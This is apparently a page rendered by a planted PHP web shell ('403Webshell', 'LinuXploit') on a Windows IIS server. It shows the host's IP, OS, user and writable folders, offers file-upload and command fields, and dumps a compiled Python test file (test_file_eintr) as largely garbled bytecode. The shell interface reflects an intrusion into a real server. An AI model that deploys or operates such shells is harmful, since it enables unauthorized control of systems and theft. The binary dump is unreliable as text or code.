403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_file_eintr.cpython-313.opt-1.pyc
�

��i�+��\�SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKJr \R(d\R"S5eSSKrSSKr\R"\RS:HS5"SS55r"SS	\\R 5r"S
S\\R 5r"SS
\5r"SS\\R 5r"SS\\R 5r"SS\5r"SS\\R 5r"SS\\R 5r\S:Xa\R4"5 gg)�N)�supportztest module requires subprocess�posixztests requires a posix system.c�P�\rSrSrSrSrSrS
SjrSrSr	Sr
S	rS
rSr
g)�TestFileIOSignalInterrupt�c��SUlg�N��_process��selfs �)C:\Python313\\Lib\test\test_file_eintr.py�setUp�TestFileIOSignalInterrupt.setUps	����
�c��UR(a8URR5cURR5 ggg![a gf=fr	)r�poll�kill�OSErrorrs r�tearDown�"TestFileIOSignalInterrupt.tearDown sK���=�=�T�]�]�/�/�1�9�
��
�
�"�"�$�:�=���
��
�s�A�
A�Ac� �SUR-$)zReturns the infile = ... line of code for the reader process.

subclasseses should override this to test different IO objects.
z=import %s as io ;infile = io.FileIO(sys.stdin.fileno(), "rb")��modnamers r�_generate_infile_setup_code�5TestFileIOSignalInterrupt._generate_infile_setup_code's��
?�����	rc	��URR5c1[R"S5 URR	5 U(a$URR
5upVX%-
nX6-
nURSU<SUR5<SUR5<S35 g![
a Nrf=f)a�A common way to cleanup and fail with useful debug output.

Kills the process if it is still running, collects remaining output
and fails the test with an error message including the output.

Args:
    why: Text to go after "Error from IO process" in the message.
    stdout, stderr: standard output and error from the process so
        far to include in the error message.
    communicate: bool, when True we call communicate() on the process
        after killing it to gather additional output.
Ng�������?zError from IO process z
:
STDOUT:
zSTDERR:
�
)	rr�time�sleep�	terminater�communicate�fail�decode)r
�why�stdout�stderrr"�
stdout_end�
stderr_ends       r�fail_with_process_info�0TestFileIOSignalInterrupt.fail_with_process_info0s����=�=����'��J�J�s�O�
��
�
�'�'�)��%)�]�]�%>�%>�%@�"�J�� �F�� �F��	�	���
�
������:�	;��
�
��
�s�B3�3
C�?Cc�F�UR5n[R"[RSSSU-S-S-U-S-S-/[R
[R
[R
S9UlURRR[S55nUS:waURS	US
9 URRRU5 Sn/nU(d�[R"URR/SSS
5un nURR[R 5 US-
nUS:�a+URR#5 UR%S5 U(dM�URRR'5nUS:waURSUS
9 URR)SS9up�URR*(a)URSURR*-X�SS9 gg)a&Generic buffered read method test harness to validate EINTR behavior.

Also validates that Python signal handlers are run during the read.

Args:
    data_to_write: String to write to the child process for reading
        before sending it a signal, confirming the signal was handled,
        writing a final newline and closing the infile pipe.
    read_and_verify_code: Single "line" of code to read from a file
        object named 'infile' and validate the result.  This will be
        executed as part of a python subprocess fed data_to_write.
z-uz-czXimport signal, sys ;signal.signal(signal.SIGINT, lambda s, f: sys.stderr.write("$\n")) ;z ;z"sys.stderr.write("Worm Sign!\n") ;zinfile.close())�stdinr&r'sWorm Sign!
zwhile awaiting a sign)r'r�g�������?���z,reader process failed to handle our signals.s$
zwhile awaiting signal�
)�inputzexited rc=%dF)r"N)r�
subprocess�Popen�sys�
executable�PIPErr'�read�lenr*r-�write�select�send_signal�signal�SIGINTrr#�readliner"�
returncode)r
�
data_to_write�read_and_verify_code�infile_setup_code�	worm_sign�signals_sent�rlist�_�signal_liner&r's           r�
_test_reading�'TestFileIOSignalInterrupt._test_readingKs���!�<�<�>��#�(�(�����t�J�%�%�(,�,�7�	7�
(�(�
+/�/�"�
"��!�o�o�j�o�o�!���(��
��M�M�(�(�-�-�c�/�.B�C�	���'��'�'�(?�/8�
(�
:��
�
���!�!�-�0������ �-�-����)=�)=�(>��B��M�K�E�1�a��M�M�%�%�f�m�m�4��A��L��c�!��
�
�"�"�$��	�	�H�I�
�%��m�m�*�*�3�3�5���&� ��'�'�(?�/:�
(�
<����2�2��2�?����=�=�#�#��'�'�"�T�]�]�%=�%=�=���
(�
7�$rz�got = infile.{read_method_name}() ;expected = {expected!r} ;assert got == expected, ("{read_method_name} returned wrong data.\n""got data %r\nexpected %r" % (got, expected))c�T�URSURRSSS9S9 g)�1readline() must handle signals and not lose data.�
hello, world!r?shello, world!
��read_method_name�expected�rArBN�rI�_READING_CODE_TEMPLATE�formatrs r�
test_readline�'TestFileIOSignalInterrupt.test_readline�s8�����.�%)�%@�%@�%G�%G�)3�!3�&H�&5�	�	6rc�X�URSURRSSS/S9S9 g)�2readlines() must handle signals and not lose data.�hello
world!�	readlinesshello
sworld!
rNrQNrRrs r�test_readlines�(TestFileIOSignalInterrupt.test_readlines�s=�����.�%)�%@�%@�%G�%G�)4�",�k�!:�&H�&<�	�	=rc��URSURRSSS9S9 URSURRSSS9S9 g)z0readall() must handle signals and not lose data.rY�readall�
hello
world!
rNrQr8NrRrs r�test_readall�&TestFileIOSignalInterrupt.test_readall�sp�����.�%)�%@�%@�%G�%G�)2�!3�&H�&5�	�	6�	
���.�%)�%@�%@�%G�%G�)/�!3�&H�&5�	�	6rr
N)rrT)�__name__�
__module__�__qualname__�__firstlineno__rrrr*rIrSrUr[r`�__static_attributes__r.rrrrs@�����>A�+/�;�6D7�R
E��6�=�6rrc��\rSrSrSrSrg)�CTestFileIOSignalInterrupt��_ior.N�rbrcrdrerrfr.rrrhrh�����Grrhc��\rSrSrSrSrg)�PyTestFileIOSignalInterrupt��_pyior.Nrkr.rrrnrn�����Grrnc� �\rSrSrSrSrSrg)�TestBufferedIOSignalInterrupt�c� �SUR-$)z?Returns the infile = ... line of code to make a BufferedReader.ziimport %s as io ;infile = io.open(sys.stdin.fileno(), "rb") ;assert isinstance(infile, io.BufferedReader)rrs rr�9TestBufferedIOSignalInterrupt._generate_infile_setup_code�s��?�����	rc�T�URSURRSSS9S9 g)z<BufferedReader.read() must handle signals and not lose data.rYr8r_rNrQNrRrs rr`�*TestBufferedIOSignalInterrupt.test_readall�s8�����.�%)�%@�%@�%G�%G�)/�!3�&H�&5�	�	6rr.N)rbrcrdrerr`rfr.rrrsrs�s���6rrsc��\rSrSrSrSrg)�CTestBufferedIOSignalInterrupt��rjr.Nrkr.rrrzrz�rlrrzc��\rSrSrSrSrg)�PyTestBufferedIOSignalInterrupt��rpr.Nrkr.rrr}r}�rqrr}c�,�\rSrSrSrSrSrSrSrg)�TestTextIOSignalInterrupt��c� �SUR-$)z>Returns the infile = ... line of code to make a TextIOWrapper.z�import %s as io ;infile = io.open(sys.stdin.fileno(), encoding="utf-8", newline=None) ;assert isinstance(infile, io.TextIOWrapper)rrs rr�5TestTextIOSignalInterrupt._generate_infile_setup_code�s��>�����	rc�T�URSURRSSS9S9 g)rLrMr?zhello, world!
rNrQNrRrs rrU�'TestTextIOSignalInterrupt.test_readline�s8�����.�%)�%@�%@�%G�%G�)3�!2�&H�&4�	�	5rc�X�URSURRSSS/S9S9 g)rXs
hello
world!rZzhello
zworld!
rNrQNrRrs rr[�(TestTextIOSignalInterrupt.test_readlines�s=�����0�%)�%@�%@�%G�%G�)4�"+�Z�!8�&H�&:�	�	;rc�T�URSURRSSS9S9 g)z-read() must handle signals and not lose data.rYr8z
hello
world!
rNrQNrRrs rr`�&TestTextIOSignalInterrupt.test_readall�s8�����.�%)�%@�%@�%G�%G�)/�!2�&H�&4�	�	5rr.N)	rbrcrdrerrUr[r`rfr.rrr�r��s���5�;�5rr�c��\rSrSrSrSrg)�CTestTextIOSignalInterrupt�rjr.Nrkr.rrr�r��rlrr�c��\rSrSrSrSrg)�PyTestTextIOSignalInterrupt�rpr.Nrkr.rrr�r��rqrr��__main__)�osr;r=r3r5r�unittest�testr�has_subprocess_support�SkipTestrjrp�
skipUnless�namer�TestCaserhrnrsrzr}r�r�r�rb�mainr.rr�<module>r�s&��
�
�
��
�����%�%�
�
�
�=�
>�>���	���R�W�W��'�)I�J�[6�[6�K�[6�|�!:�H�<M�<M���";�X�=N�=N��
6�$=�
6��%B�H�DU�DU���&C�X�EV�EV��5� 9�5�@�!:�H�<M�<M���";�X�=N�=N���z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit